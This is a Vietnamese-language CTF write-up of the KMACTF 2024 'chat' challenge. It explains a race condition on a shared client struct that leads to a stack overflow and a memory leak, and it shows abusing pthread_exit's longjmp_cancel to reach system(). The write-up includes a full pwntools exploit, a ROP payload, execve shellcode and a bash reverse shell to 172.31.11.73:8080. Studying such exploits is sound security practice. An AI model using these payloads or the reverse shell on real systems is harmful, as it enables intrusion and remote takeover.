---
# System prepended metadata

title: KMACTF 2024

---

# KMACTF 2024

## chat
- chall này hay nhưng khi thi mình ko làm được, nên mình tham khảo wu để làm lại
### Anlysis
- Trước tiên cần tạo 3 struct là **name_struct, chat_struct và client_struct** để dễ hiểu flow của thằng chat

```c
00000000 name_struct     struc ; (sizeof=0xC, mappedto_10)
00000000 name            dq ?                    ; offset
00000008 name_size       dd ?
0000000C name_struct     ends


00000000 chat_struct     struc ; (sizeof=0x28, mappedto_11)
00000000                                         ; XREF: client_struct/r
00000000 name            dq ?                    ; offset
00000008 name_size       dd ?
0000000C                 db ? ; undefined
0000000D                 db ? ; undefined
0000000E                 db ? ; undefined
0000000F                 db ? ; undefined
00000010 message         dq ?                    ; offset
00000018 message_size    dd ?
0000001C                 db ? ; undefined
0000001D                 db ? ; undefined
0000001E                 db ? ; undefined
0000001F                 db ? ; undefined
00000020 next            dq ?                    ; offset
00000028 chat_struct     ends


00000000 client_struct   struc ; (sizeof=0x2C, mappedto_22)
00000000 sock            dd ?
00000004 latest_chat     chat_struct ?
0000002C client_struct   ends
```
- thằng chat có 2 chức năng là **handle_recv** và **handle_send** để xử lý message từ client, vì ta sẽ focus vào **handle_recv**

```c 
void __fastcall __noreturn client_handler(client_struct *c)
{
  int buf; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( recv(c->sock, &buf, 4uLL, 0) )
  {
    if ( !buf )
      handle_recv(c);
    if ( buf == 1 )
      handle_send(c);
  }
  buf = -1;
  send(c->sock, &buf, 4uLL, 0);
  close(c->sock);
  c->sock = 0;
  pthread_exit(0LL);
}
```
- để ý thằng **client_struct** *c, tất cả các thread đêu dùng chung **client_struct** này , điều này rất dễ dẫn đến **Race conditons** vì struct của các client mỗi khi gửi message đều được dùng chung, dẫn đến size và data sẽ bị lẫn lộn

```c 
  while ( 1 )
  {
    v8 = accept(fd, &addr, &addr_len);
    while ( c )
      ;
    v3 = ntohs(*addr.sa_data);
    v4 = inet_ntoa(*&addr.sa_data[2]);
    printf("New connection to recv sock from %s:%d\n", v4, v3);
    LODWORD(c) = v8;
    pthread_create(&newthread, 0LL, client_handler, &c);
  }
```
- phân tích sâu vào **handle_recv** thì mess nằm trên stack sẽ được được memcpy với **size mess->message_size == c->latest_chat.message_size**

![image](https://hackmd.io/_uploads/BJT0Wrjn0.png)

- nhưng thằng **c->latest_chat.message_size** ta lại control được bằng bug Race Condition từ size của thằng client khác vì nó đều được dùng chung

![image](https://hackmd.io/_uploads/rkDlQBih0.png)

- từ Bug này ta sẽ thực hiện BOF được , nma để leak được ta cần phân tích thêm thằng **handle_send**

```c 
void __fastcall __noreturn handle_send(int *a1)
{
  int buf; // [rsp+18h] [rbp-18h] BYREF
  int fd; // [rsp+1Ch] [rbp-14h]
  chat_struct *i; // [rsp+20h] [rbp-10h]
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  fd = *a1;
  *a1 = 0;
  for ( i = chat; i && i->name && i->message; i = i->next )
  {
    send(fd, &i->name_size, 4uLL, 0);
    send(fd, i->name, i->name_size, 0);
    send(fd, &i->message_size, 4uLL, 0);
    send(fd, i->message, i->message_size, 0);
  }
  buf = -1;
  send(fd, &buf, 4uLL, 0);
  close(fd);
  pthread_exit(0LL);
}
```

- thằng này nó cũng dùng lại message_size để send, vậy ta có thể leak addr từ đây
- Nhưng mà vấn đề ở đây là thread kết thúc bằng **pthread_exit** chứ không phải ret, nên cho dù ta có BOF để overwrite rip thì cũng không get shell được
- theo như wu mình tham khảo thì ta sẽ lợi dụng thằng **longjmp_cancel** trong pthread_exit để get shell

![image](https://hackmd.io/_uploads/Hy9iVBin0.png)

- các reg đều được lấy từ stack để setup sau đó jmp rdx, vì ta có BOF nên có thể control được stack từ đó set up rdi theo ý mình để call system

![image](https://hackmd.io/_uploads/S1mGrBihA.png)

- cuối cùng ta revshell nữa là lấy được flag thôi

![image](https://hackmd.io/_uploads/rkJfISo20.png)

### script
- tham khảo của anh JHT 
```python 
#!/usr/bin/python3

from pwn import *

exe = ELF('chat_patched', checksec=False)
libc = ELF('libc.so.6', checksec=False)
# ld = ELF("./ld-2.27.so")
context.binary = exe

IP = '0'
PORT = 10000

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda proc, data: proc.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())

def recv(size):
    data = b''
    for _ in range(size):
        data += p.recv(1)
    return data

def recv_msg():
    size = u32(recv(4))
    recv(size)
    size = u32(recv(4))
    return recv(size)

def PTR_MANGLE(addr):
    addr ^= stack_guard
    addr = ((addr << 0x11) | (addr >> (64 - 0x11))) & 0xffffffffffffffff
    return addr

p1 = remote(IP, PORT)
p2 = remote(IP, PORT)

s(p1, p32(0) + p32(1) + p32(0x100))
s(p2, p32(0) + p32(1) + p32(0x1000))
s(p1, b'1' + b'bash -c "sh -i >& /dev/tcp/172.31.11.73/8080 0>&1"')

p1.close()
p2.close()

p = remote(IP, PORT)
s(p, p32(1))
msg = recv_msg()
stack_leak = u64(msg[0x128:0x130])
info("Main stack leak: " + hex(stack_leak))
thread_stack_leak = u64(msg[0x160:0x168])
info("Thread stack leak: " + hex(thread_stack_leak))
libc_leak = u64(msg[0x138:0x140])
libc.address = libc_leak - 0x12bc2d
info("Libc leak: " + hex(libc_leak))
info("Libc base: " + hex(libc.address))
stack_guard = u64(msg[0x9d0:0x9d8])
info("STACK GUARD: " + hex(stack_guard))
p.close()


pop_rdi = libc.address + 0x000000000011578c
ret = pop_rdi + 1

p1 = remote(IP, PORT)
p2 = remote(IP, PORT)

s(p1, p32(0) + p32(1) + p32(0x100))
s(p2, p32(0) + p32(1) + p32(0x1000))
p2.close()

payload = flat(
    pop_rdi, thread_stack_leak,
    libc.sym.system
    )
s(p1, b'1' + payload)

p = remote(IP, PORT)
s(p, p32(1))
msg = recv_msg()
msg = recv_msg()
print(msg)
thread_stack_leak2 = u64(msg[0x160:0x168])
info("Thread stack leak 2: " + hex(thread_stack_leak2))
p.close()


p1 = remote(IP, PORT)
p2 = remote(IP, PORT)

s(p1, p32(0) + p32(1) + p32(0x100))
s(p2, p32(0) + p32(1) + p32(0x1000))
p2.close()

payload = fit(
    {
        0x128: stack_leak, 
        0x150: flat(stack_leak, stack_leak, stack_leak),
        0x1c0: b'/bin/sh\0',
        0x1c0 + 0x30: p64(PTR_MANGLE(thread_stack_leak2)) + p64(PTR_MANGLE(ret)),
        0x200: 0xcafebabe
    },
    )
s(p1, b'1' + payload)

p1.interactive()

# pop_rdi = ROP(libc).find_gadget(["pop rdi","ret"])[0]
# rop = [pop_rdi+1,pop_rdi,next(libc.search(b"/bin/sh\0")),libc.sym.system]
# rop = b"".join([p64(i) for i in rop])

# shellcode1 = asm(
#     '''
#     mov rbx, 29400045130965551
#     push rbx

#     mov rdi, rsp
#     xor rsi, rsi
#     xor rdx, rdx
#     mov rax, 0x3b
#     syscall
#     ''', arch = 'amd64'
# )

```






